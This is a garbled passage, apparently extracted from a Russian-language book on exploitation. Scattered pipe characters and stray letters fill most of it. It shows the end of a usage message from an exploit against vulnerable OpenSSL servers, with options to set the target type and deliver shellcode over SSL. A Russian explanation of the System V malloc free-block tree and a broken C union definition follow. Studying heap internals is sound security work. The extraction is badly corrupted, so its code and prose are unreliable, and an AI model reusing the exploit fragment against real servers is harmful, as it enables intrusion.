|
|
|
|
m |
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
-x cha |
|
|
|
|
291" -p\tserver port\n"
292" -c\tnumber of connections\n"
293" -t\ttarget type -t0 for list\n"
294" -s\tpopulate shellcode via SSL server\n"
295" target\thost running vulnerable openssl\n", prog);
296exit(-1);
297}
Реализация malloc в ОС System V
Реализация malloc, заимствованная из ОС System V, обычно используется в системах Solaris и IRIX. Она отличается от реализации dlmalloc. Вместо того чтобы хранить всю информацию в блоках, в Sys X malloc применяются двоич- ные деревья. Они организованы так, что выделенные блоки одного размера находятся в одном и том же узле дерева.
typedef union _w_ { |
|
|
|
size_t |
w_i; |
/* unsigned int |
*/ |
struct _t_ |
*w_p; |
/* |
указатель */ |
|
char w_a[ALIGN]; |
/* |
для выравнивания */ |
} WORD; |
|
|
|
|
/* структура узла в дереве свободных блоков */